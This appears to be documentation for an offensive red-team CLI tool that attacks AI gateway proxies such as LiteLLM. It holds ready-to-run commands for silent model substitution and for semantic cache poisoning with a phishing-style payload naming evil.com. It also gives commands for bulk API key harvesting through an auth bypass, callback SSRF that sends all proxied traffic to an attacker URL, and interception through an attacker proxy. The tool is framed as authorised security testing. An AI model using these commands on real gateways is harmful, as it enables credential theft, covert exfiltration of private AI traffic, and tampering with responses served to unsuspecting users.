SPECTER LITESTRIKE
T165 — L64 AI Gateway Proxy Exploitation — Full Documentation
L64 500 TESTS v1.0.0 CVE-2026-42271 CISA KEV
TABLE OF CONTENTS

INSTALLATION

$ pip install specter-litestrike
$ specter-litestrike --version
# Verify gate keys are configured $ specter-litestrike status

Key files are stored at ~/.red-specter/litestrike/. The signing key pair is generated on first run and stored at signing_key.pem. Reports are written to ~/.red-specter/litestrike/reports/.

QUICKSTART

OPEN GATE — Reconnaissance

$ specter-litestrike recon --target 10.0.0.0/24
$ specter-litestrike fingerprint --target http://litellm.internal:4000

INJECT GATE — Cache Poisoning

$ LITESTRIKE_INJECT_KEY=<key> specter-litestrike cache-poison --target http://litellm.internal:4000 --query-class "password reset" --payload "Contact support@evil.com" --roe roe.txt

HARVEST GATE — Key Extraction

$ LITESTRIKE_HARVEST_KEY=<key> specter-litestrike harvest-keys --target http://litellm.internal:4000 --roe roe.txt

INTERCEPT GATE — Traffic Interception

$ LITESTRIKE_INTERCEPT_KEY=<key> specter-litestrike intercept --target http://litellm.internal:4000 --proxy http://attacker:8443 --roe roe.txt --confirm-intercept

Generating a Report

$ specter-litestrike report --session-id LTS-abc123def456

GATE REQUIREMENTS

GATEENV VARROE PHRASEFLAGSUBSYSTEMS UNLOCKED
OPENRECON, FINGERPRINT, REPORT
INJECTLITESTRIKE_INJECT_KEY"ai gateway injection authorised"--roe <file>SUBSTITUTE, CACHE-POISON, AMPLIFY, CALLBACK
HARVESTLITESTRIKE_HARVEST_KEY"ai gateway key harvest authorised"--roe <file>EXHAUST, HARVEST-KEYS
INTERCEPTLITESTRIKE_INTERCEPT_KEY"ai traffic interception authorised"--roe <file> --confirm-interceptINTERCEPT

Gate keys are Ed25519 private keys stored at ~/.red-specter/litestrike/keys/. ROE files are plain-text files containing the required ROE phrase on a single line. The --confirm-intercept flag is required for INTERCEPT-gate operations and must be explicitly passed on the command line — it cannot be set via environment variable.

SUBSYSTEM REFERENCE

01 — RECON OPEN

Network-wide discovery of AI gateway proxy instances. Probes LiteLLM default ports (4000, 8000), OpenRouter API endpoints, Portkey (8787), Helicone, Kong (8000/8001/8444), Traefik dashboard (8080), Azure APIM management endpoints, and PromptLayer. Returns per-endpoint: gateway type, version (if detectable), authentication status (none/api-key/oauth), admin panel accessibility, and exploitation feasibility score.

$ specter-litestrike recon --target <cidr|host> [--timeout 5] [--output json]

02 — SUBSTITUTE INJECT

Silent model substitution. Exploits LiteLLM admin API to reconfigure model routing, redirecting requests for a target model identifier to an attacker-specified upstream endpoint. Downstream applications receive identical JSON response format; substitution is invisible at the API layer.

$ LITESTRIKE_INJECT_KEY=<key> specter-litestrike substitute --target <url> --model <model-id> --redirect <upstream-url> --roe <file>

03 — CACHE-POISON INJECT

Semantic cache poisoning. Injects a crafted prompt whose embedding is a nearest-neighbour match for the target query class in the semantic similarity space, causing the poisoned response to be served to all users whose queries fall within the similarity threshold.

$ LITESTRIKE_INJECT_KEY=<key> specter-litestrike cache-poison --target <url> --query-class <topic> --payload <response> --similarity-threshold 0.92 --roe <file>

04 — AMPLIFY INJECT

AI cost amplification. Routes requests to the most expensive available model and/or constructs context-expansion prompts that maximise token consumption per request. Measures amplification ratio: actual cost vs authorised cost per request class.

$ LITESTRIKE_INJECT_KEY=<key> specter-litestrike amplify --target <url> --provider <provider> --mode [cost|tokens] --roe <file>

05 — EXHAUST HARVEST

Rate-limit exhaustion and quota burning. Identifies all API keys in the gateway vault and issues requests on behalf of each key at maximum rate until per-key quota is exhausted. Measures time-to-zero per key and estimated financial impact.

$ LITESTRIKE_HARVEST_KEY=<key> specter-litestrike exhaust --target <url> --provider <provider> [--key-id <id>] --roe <file>

06 — HARVEST-KEYS HARVEST

Bulk API key extraction. Exploits GHSA-4xpc-pv4p-pm3w (LiteLLM auth bypass) to dump all virtual keys. Extracts Portkey virtual key plaintext, Helicone API keys via IDOR, Azure APIM subscription keys, and PromptLayer project credentials. Returns structured credential inventory with provider, key fragment, spend, and rate-limit status.

$ LITESTRIKE_HARVEST_KEY=<key> specter-litestrike harvest-keys --target <url> --gateway-type [litellm|portkey|helicone|azure-apim|promptlayer] --roe <file>

07 — CALLBACK INJECT

SSRF via gateway callback injection. Registers attacker-controlled URL as a success/failure callback in the LiteLLM configuration, receiving copies of all proxied request/response pairs. Enables passive harvest of all AI traffic without modifying responses or detection by downstream consumers.

$ LITESTRIKE_INJECT_KEY=<key> specter-litestrike callback --target <url> --callback-url <url> --roe <file>

08 — FINGERPRINT OPEN

Deep gateway fingerprinting. Extracts version, routing table, virtual key count, session count, semantic cache config, authentication configuration, plugin/middleware chain, and Kong/Traefik/APIM policy details. Scores exploitation feasibility per endpoint.

$ specter-litestrike fingerprint --target <url> [--deep] [--output json]

09 — INTERCEPT INTERCEPT

Full traffic interception. Exploits CVE-2026-42271 (CISA KEV, CVSS 9.8) to reconfigure LiteLLM's model routing, directing all upstream calls through an attacker-controlled proxy that logs, modifies, or replaces request/response payloads in real time. Supports selective interception by model ID, virtual key, or requesting IP.

$ LITESTRIKE_INTERCEPT_KEY=<key> specter-litestrike intercept --target <url> --proxy <attacker-proxy-url> [--model <model-id>] [--inject-response <template>] --roe <file> --confirm-intercept

10 — REPORT OPEN

Generates LTS-{hex12} session report. Collects all subsystem outputs into a structured JSON report. Ed25519 signs with ~/.red-specter/litestrike/signing_key.pem. ML-DSA-65 countersigns. Saves to ~/.red-specter/litestrike/reports/.

$ specter-litestrike report --session-id LTS-<hex12> [--format [json|pdf|html]]

FULL CLI REFERENCE

Global Flags

FLAGTYPEDESCRIPTION
--targetstringTarget URL or CIDR range
--roepathRules of engagement file path
--outputstringOutput format: text (default), json, csv
--timeoutintConnection timeout in seconds (default: 10)
--session-idstringExisting LTS-{hex12} session ID to resume
--verboseflagEnable verbose output
--dry-runflagShow what would be done without executing

Subsystem-Specific Flags

FLAGSUBSYSTEMDESCRIPTION
--modelsubstitute, interceptTarget model ID to redirect
--redirectsubstituteUpstream URL to substitute for target model
--query-classcache-poisonSemantic topic class to target for cache poisoning
--payloadcache-poisonAttacker-controlled response content to inject into cache
--similarity-thresholdcache-poisonCosine similarity threshold for cache hit (default: 0.92)
--provideramplify, exhaustTarget upstream provider (openai/anthropic/gemini/azure)
--modeamplifyAmplification mode: cost (most expensive model) or tokens (context expansion)
--key-idexhaustTarget specific virtual key ID for exhaustion
--gateway-typeharvest-keysTarget gateway type for key extraction method selection
--callback-urlcallbackAttacker-controlled callback URL to register
--proxyinterceptAttacker-controlled proxy URL for traffic interception
--inject-responseinterceptResponse injection template (Jinja2) for in-transit modification
--confirm-interceptinterceptRequired confirmation flag for INTERCEPT-gate operations
--deepfingerprintEnable deep fingerprinting including plugin/policy enumeration

REPORT FORMAT

All SPECTER LITESTRIKE reports use the prefix LTS-{hex12} where hex12 is a 12-character lowercase hexadecimal session identifier. Reports are Ed25519 signed using the tool signing key and ML-DSA-65 countersigned for post-quantum verifiability.

session_id
LTS-{hex12} unique session identifier
gateway_inventory
Array of discovered gateways with type, version, auth posture, and exploitation feasibility score
cves_exploited
List of CVEs/GHSAs triggered with CVSS score and exploitation outcome
substitution_coverage
Fraction of target model calls successfully redirected (0.0–1.0)
cache_poison_hit_rate
Fraction of target query class returning poisoned response post-injection
keys_harvested
Count of API keys extracted, broken down by provider
traffic_interception_volume
Requests intercepted / total gateway traffic volume during session
cost_amplification_ratio
Actual spend / authorised spend during amplification session
ed25519_signature
Ed25519 signature over canonical JSON payload
ml_dsa_65_countersignature
ML-DSA-65 post-quantum countersignature
mitre_attck_mapping
Array of applicable MITRE ATT&CK technique IDs
atlas_mapping
Array of applicable MITRE ATLAS technique IDs

WMD CLASSES

SPECTER LITESTRIKE targets 6 WMD (Weapons-Mass-Destruction) attack classes against AI gateway infrastructure:

ai_gateway_proxy_exploitation silent_model_substitution semantic_cache_poisoning ai_cost_amplification api_key_proxy_harvest ai_traffic_interception

WMD THREAT MODEL

AI gateways represent a uniquely high-value attack surface because they are the single point of control for all AI traffic in an organisation. A compromised gateway provides: (1) silent access to all LLM requests and responses transiting the proxy — complete AI activity exfiltration without touching end-user applications; (2) the ability to modify any AI response in real time, injecting adversarial content into responses without alerting end users; (3) mass API key theft — gateways aggregate credentials for every AI provider an organisation uses; and (4) cost weaponisation — draining organisation AI budgets via amplified usage.

Unlike attacks on individual AI applications, gateway-layer attacks are organisation-wide and require no per-application exploitation — a single vulnerability in the gateway gives access to every AI workload simultaneously.